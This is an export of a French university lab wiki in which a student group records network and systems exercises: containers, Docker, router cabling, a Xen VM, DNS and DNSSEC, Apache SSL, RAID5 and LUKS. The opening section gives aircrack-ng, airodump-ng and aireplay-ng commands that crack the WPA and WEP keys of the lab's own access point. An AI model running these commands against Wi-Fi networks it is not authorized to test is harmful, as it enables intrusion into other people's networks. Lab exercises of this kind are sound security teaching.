Le crack est effectué en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -a2 -b 04:DA:D2:9C:50:56  -w /path_to_file/dictionnaire.txt /path_to_file/*.cap&lt;br /&gt;
&lt;br /&gt;
Nous récupérons la clé après quelques heures de calcul :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack groupe7.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===5.2 Cassage de clé WEP===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef012c92&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants protégés en WEP en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --channel 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlan0mon&lt;br /&gt;
&lt;br /&gt;
En parallèle, on simule une connexion au point d'accès pour récupérer le handshake : &lt;br /&gt;
 $ aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On réalise le cassage : &lt;br /&gt;
 $ aircrack-ng ./path_to_folder/cracotte07.cap&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:cassagewep07.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
== 6. Réalisation ==&lt;br /&gt;
&lt;br /&gt;
===6.1 Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Création de trois partitions LVM de 1Go sur Cordouan : &lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule1 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule2 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule3 -v&lt;br /&gt;
&lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :&lt;br /&gt;
&lt;br /&gt;
  'phy:/dev/virtual/hercule1,xvdc1,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule2,xvdc2,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule3,xvdc3,w'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Installation du paquetage mdadm pour réaliser le RAID5 logiciel :&lt;br /&gt;
  apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
Création du RAID5 :&lt;br /&gt;
  mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
&lt;br /&gt;
On formate le RAID créé : &lt;br /&gt;
  mkfs -t ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
On monte le RAID dans notre VM : &lt;br /&gt;
  mount /dev/md0 /mnt &lt;br /&gt;
&lt;br /&gt;
On créé un fichier sur le RAID pour qu'il contienne des données. On ferme la VM et on lui retire la partition xvdc3 dans sa config.&lt;br /&gt;
On relance la VM. Puis on essaye de remonter le RAID : &lt;br /&gt;
En voulant remonter /dev/md0, un message nous indique que md0 n'existe pas. On lance alors la commande : &lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
Et on s'aperçoit que notre RAID est toujours présent, cette fois n'ayant plus que deux disques, mais apparaît sous le nom md127. On monte alors ce derrnier : &lt;br /&gt;
  mount /dev/md127 /mnt&lt;br /&gt;
On retrouve alors bien le fichier créé initialement sur notre RAID. Lors de sa création, le fichier a été copié sur les 3 disques par le RAID. Ainsi, lorsque que nous avons supprimé un disque, cela n'a pas eu d'impact sur nos données.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Raidhercule.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===6.2 Cryptage de données===&lt;br /&gt;
&lt;br /&gt;
Dans notre cas, nous n'utilisons pas une carte SD. Nous créons cependant une partition de 1 Giga sur cordouan sur laquelle on travaillera :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L 1G -n /dev/virtual/hercule-crypt -v&lt;br /&gt;
&lt;br /&gt;
Une fois cette action réalisée, et la partition intégrée au fichier de configuration de la machine virtuelle sous forme de volume, de nom xvdd1, nous récupérons les paquets lvm2 et cryptsetup.&lt;br /&gt;
Lorsque la récupération est terminée, nous sécurisons la partition de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat -c aes -h sha256 /dev/xvdd1&lt;br /&gt;
&lt;br /&gt;
Cette commande permet de formater la partiton au type LUKS et chiffre en AES avec un algorithme de hashage SHA256. Nous choisissons une phrase de chiffrement.&lt;br /&gt;
&lt;br /&gt;
Une fois la partition chiffrée, nous ouvrons un volume dans notre partition chiffrée :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/xvdd1 home&lt;br /&gt;
&lt;br /&gt;
Nous la formatons en ext4 :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs -t ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Enfin, nous montons la partition sous /mnt :&lt;br /&gt;
&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/home /mnt&lt;br /&gt;
&lt;br /&gt;
Nous y créons ensuite un fichier texte. La suite de cette partie, qui est d'échanger les cartes SD, n'est pas réalisable dans notre cas.&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=49135</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=49135"/>
				<updated>2018-12-21T18:10:49Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* 5.2 Cassage de clé WEP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
*'''Activation du pont:''' &lt;br /&gt;
    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
== 2.Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
==4.Services internet==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===4.2 Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 @      IN      A       193.48.57.183&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===4.4 DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :&lt;br /&gt;
   dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
Création de la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
 :&lt;br /&gt;
Création de  la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
&lt;br /&gt;
On renomme ces clef : &lt;br /&gt;
  hercule.space-ksk.key&lt;br /&gt;
  hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Puis on les inclus dans le fichier /etc/bind/db.hercule.space&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrements de la zone :&lt;br /&gt;
  dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
  file &amp;quot;/etc/bind/db.hercule.space.signed&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.&lt;br /&gt;
&lt;br /&gt;
===4.3 Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
